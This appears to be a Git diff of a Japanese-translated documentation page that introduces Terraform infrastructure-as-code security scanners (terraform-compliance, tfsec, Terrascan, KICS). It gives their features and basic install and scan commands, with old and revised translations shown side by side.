From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` は、terraform に対する軽量でセキュリティおよびコンプライアンスに焦点を当てたテストフレームワークで、あなたの Infrastructure-as-Code (IaC) に対するネガティブテスト機能を提供します。
|
||||
|
||||
- **compliance:** 実装されたコードがセキュリティ基準や独自のカスタム基準に従っていることを確認します。
|
||||
- **behaviour driven development:** ほぼすべてのものにBDDがありますが、IaCにはなぜないのでしょうか?
|
||||
- **portable:** `pip`からインストールするか、`docker`経由で実行するだけです。 [Installation](https://terraform-compliance.com/pages/installation/)を参照してください。
|
||||
- **pre-deploy:** デプロイされる前にコードを検証します。
|
||||
- **easy to integrate:** パイプライン(またはgitフック)で実行して、すべてのデプロイが検証されることを保証できます。
|
||||
- **segregation of duty:** 別のチームが責任を持つ異なるリポジトリにテストを保持できます。
|
||||
- **compliance:** 実装されたコードがセキュリティ基準や独自の基準に従っていることを保証します
|
||||
- **behaviour driven development:** ほぼすべてに対して BDD があるなら、IaC にもあるべきでは?
|
||||
- **portable:** `pip` からインストールするか `docker` で実行するだけです。See [Installation](https://terraform-compliance.com/pages/installation/)
|
||||
- **pre-deploy:** デプロイ前にコードを検証します
|
||||
- **easy to integrate:** pipeline(または git hooks)で実行でき、すべてのデプロイが検証されることを保証できます。
|
||||
- **segregation of duty:** テストを別のリポジトリに保持し、別チームが責任を持つようにできます。
|
||||
|
||||
> [!NOTE]
|
||||
> 残念ながら、コードがアクセスできないプロバイダーを使用している場合、`terraform plan`を実行してこのツールを使用することはできません。
|
||||
> 残念ながら、コードがあなたがアクセスできないいくつかの providers を使用している場合、`terraform plan` を実行できず、このツールを動かせない可能性があります。
|
||||
```bash
|
||||
pip install terraform-compliance
|
||||
terraform plan -out=plan.out
|
||||
@@ -321,40 +348,53 @@ terraform-compliance -f /path/to/folder
|
||||
```
|
||||
### [tfsec](https://github.com/aquasecurity/tfsec)
|
||||
|
||||
From the [**docs**](https://github.com/aquasecurity/tfsec): tfsecは、あなたのterraformコードの静的分析を使用して、潜在的な誤設定を特定します。
|
||||
From the [**docs**](https://github.com/aquasecurity/tfsec): tfsec は Terraform コードの静的解析を用いて、潜在的な誤設定を検出します。
|
||||
|
||||
- ☁️ すべての主要(および一部のマイナー)クラウドプロバイダーにわたる誤設定をチェック
|
||||
- ☁️ 主要(および一部のマイナー)なクラウドプロバイダ全体の誤設定をチェックします
|
||||
- ⛔ 数百の組み込みルール
|
||||
- 🪆 モジュールをスキャン(ローカルおよびリモート)
|
||||
- ➕ HCL式およびリテラル値を評価
|
||||
- ↪️ Terraform関数を評価 e.g. `concat()`
|
||||
- 🔗 Terraformリソース間の関係を評価
|
||||
- 🧰 Terraform CDKと互換性あり
|
||||
- 🙅 ユーザー定義のRegoポリシーを適用(および装飾)
|
||||
- 📃 複数の出力形式をサポート: lovely(デフォルト)、JSON、SARIF、CSV、CheckStyle、JUnit、text、Gif。
|
||||
- 🛠️ 設定可能(CLIフラグおよび/または設定ファイルを介して)
|
||||
- ⚡ 非常に高速で、大規模なリポジトリを迅速にスキャン可能
|
||||
- 🪆 モジュール(ローカルおよびリモート)をスキャンします
|
||||
- ➕ HCL 式とリテラル値の両方を評価します
|
||||
- ↪️ Terraform 関数(例: `concat()`)を評価します
|
||||
- 🔗 Terraform リソース間の関係性を評価します
|
||||
- 🧰 Terraform CDK と互換性があります
|
||||
- 🙅 ユーザー定義の Rego ポリシーを適用(および拡張)します
|
||||
- 📃 複数の出力フォーマットをサポート: lovely (default), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif.
|
||||
- 🛠️ 設定可能(CLI フラグおよび/または設定ファイル経由)
|
||||
- ⚡ 非常に高速で、大規模なリポジトリを素早くスキャンできます
|
||||
```bash
|
||||
brew install tfsec
|
||||
tfsec /path/to/folder
|
||||
```
|
||||
### [terrascan](https://github.com/tenable/terrascan)
|
||||
|
||||
TerrascanはInfrastructure as Code向けのstatic code analyzerです。Terrascanを使用すると次のことが可能です:
|
||||
|
||||
- シームレスに infrastructure as code の設定ミスをスキャンする。
|
||||
- プロビジョニングされたクラウドインフラの設定変更(ポスチャードリフトを引き起こすもの)を監視し、安全なポスチャーに戻すことを可能にする。
|
||||
- セキュリティ脆弱性とコンプライアンス違反を検出する。
|
||||
- クラウドネイティブインフラのプロビジョニング前にリスクを軽減する。
|
||||
- ローカルでの実行や CI\CD との統合など柔軟に運用できる。
|
||||
```bash
|
||||
brew install terrascan
|
||||
terrascan scan -d /path/to/folder
|
||||
```
|
||||
### [KICKS](https://github.com/Checkmarx/kics)
|
||||
|
||||
インフラストラクチャをコードとして開発するサイクルの初期段階で、セキュリティの脆弱性、コンプライアンスの問題、およびインフラストラクチャの誤設定を早期に発見するために、Checkmarxの**KICS**を使用してください。
|
||||
Checkmarxによる**KICS**を使用して、Infrastructure-as-Codeの開発サイクルの早い段階で、セキュリティ脆弱性、コンプライアンス問題、およびインフラ設定の誤りを発見します。
|
||||
|
||||
**KICS**は**K**eeping **I**nfrastructure as **C**ode **S**ecureの略で、オープンソースであり、クラウドネイティブプロジェクトには必須です。
|
||||
**KICS**は「Keeping Infrastructure as Code Secure」の略で、オープンソースであり、あらゆるクラウドネイティブプロジェクトにとって必須のツールです。
|
||||
```bash
|
||||
docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
|
||||
```
|
||||
### [Terrascan](https://github.com/tenable/terrascan)
|
||||
|
||||
From the [**docs**](https://github.com/tenable/terrascan): Terrascanは、Infrastructure as Codeのための静的コード分析ツールです。Terrascanを使用すると、次のことができます。
|
||||
From the [**docs**](https://github.com/tenable/terrascan): Terrascan は Infrastructure as Code(IaC)の静的コード解析ツールです。Terrascan により以下が可能になります:
|
||||
|
||||
- インフラストラクチャをコードとしてシームレスにスキャンし、誤設定を検出します。
|
||||
- プロビジョニングされたクラウドインフラストラクチャを監視し、姿勢の変化を引き起こす設定変更を検出し、安全な姿勢に戻すことを可能にします。
|
||||
- セキュリティの脆弱性やコンプライアンス違反を検出します。
|
||||
- クラウドネイティブインフラストラクチャをプロビジョニングする前にリスクを軽減します。
|
||||
- ローカルで実行する柔軟性やCI\CDとの統合を提供します。
|
||||
- IaC の誤設定をシームレスにスキャンする。
|
||||
- プロビジョニング済みのクラウドインフラを監視し、設定変更によって生じる構成ドリフト(posture drift)を検出し、セキュアな状態へ戻すことを可能にする。
|
||||
- セキュリティ脆弱性やコンプライアンス違反を検出する。
|
||||
- クラウドネイティブなインフラをプロビジョニングする前にリスクを軽減する。
|
||||
- ローカルで実行するか、CI\CD に統合する柔軟性を提供する。
|
||||
```bash
|
||||
brew install terrascan
|
||||
```
|
||||
|
||||
Reference in New Issue
Block a user